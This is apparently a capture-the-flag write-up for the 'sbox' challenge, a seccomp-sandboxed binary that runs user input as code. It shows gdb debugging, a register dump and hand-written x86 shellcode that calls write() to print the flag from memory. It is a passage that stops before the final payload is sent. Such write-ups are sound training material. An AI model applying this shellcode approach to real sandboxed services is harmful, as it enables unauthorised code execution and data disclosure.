Quirky little challenge, this sbox. We’re actually given the keys to the kingdom right away!
Again, this was a one-two with superkojiman, who did the initial reversing! The program needs libseccomp to run. I had to install libseccomp1 on my Ubuntu VM and symlink libseccomp.so.2 to it to make the binary start. libseccomp does syscall filtering. In this case, whatever is added to its internal list is ok, other syscalls are caught and the program exits with SIGSYS.
The syscalls that are whitelisted can be found by looking for seccomp_rule_add calls:
So that’s not a whole lot to work with. We can only read, write and exit. No execve or open/read/write for us!
Diving deeper
Luckily, when run, the binary does all the heavy lifting for us. It reads the flag and stores it on the heap. It then waits for input, storing that also on the heap and then proceeds to run whatever is entered:
This allows us to supply our own shellcode without even having to exploit a vulnerability. There were some annoying things that prevented me from debugging the binary locally, so I hex-edited the binary to make the calls to signal() and alarm() do nothing (edit the plt section for those calls & make the first byte 0xc3 -> RET).
I started binary via socat to test locally. First, let’s see what we have to work with, by sending a single 0xcc (INT 3) via a python script:
The raw_input() serves to halt the binary, given us the chance to attach gdb with
1
$ gdb -pid `pgrep sbox`
After attaching, I entered ‘c’ to continue execution. Then the binary crashes upon hitting the INT 3. The registers look like this, flag is in the same mmapped region:
12345678910111213141516171819202122
0xb77c6002 in ?? ()gdb-peda$ i r
eax 0xb77c6000 0xb77c6000
ecx 0xb77c6000 0xb77c6000
edx 0x2000 0x2000
ebx 0xb77a5ff4 0xb77a5ff4
esp 0xbf9eff0c 0xbf9eff0c
ebp 0xbf9eff58 0xbf9eff58
esi 0x0 0x0
edi 0x0 0x0
eip 0xb77c6002 0xb77c6002
eflags 0x207 [ CF PF IF ]cs 0x73 0x73
ss 0x7b 0x7b
ds 0x7b 0x7b
es 0x7b 0x7b
fs 0x0 0x0
gs 0x33 0x33
gdb-peda$ find "FLAG"Searching for'FLAG' in: None ranges
Found 2 results, display max 2 items:
mapped : 0xb77c8000 ("FLAG\n")
I whipped up some ‘shellcode’ (if you can call it that). We can use the values of the registers in our shellcode to write the flag to STDOUT. For instance, ecx already points to the shellcode. We just have to add 0x2000 to it to get the address of the flag!
1234567891011121314
bits 32
push 0x20 # pop ebx # pop 0x20 in ebxshl ebx, 8# ebx is now 0x2000# adjust ecx so that it points to flag in memoryadd ecx, ebx # ecx = bufferxor ebx, ebx # ebx = fdinc ebx # STDOUT; STDERR also worksxor edx, edx # edx = countmov dl, 0xff # write out 255 bytespush 4# eax = syscallpop eax # eax = writeint 0x80 # get flag!
I avoided null-bytes, just in case. The shellcode was compiled with
1
$ nasm -f bin ./shellcode.asm
I had issues with radare2 not recognizing some opcodes (need to look into that!), which is why I switched to nasm. Using a modified version of the earlier python code, I sent the shellcode over to the server: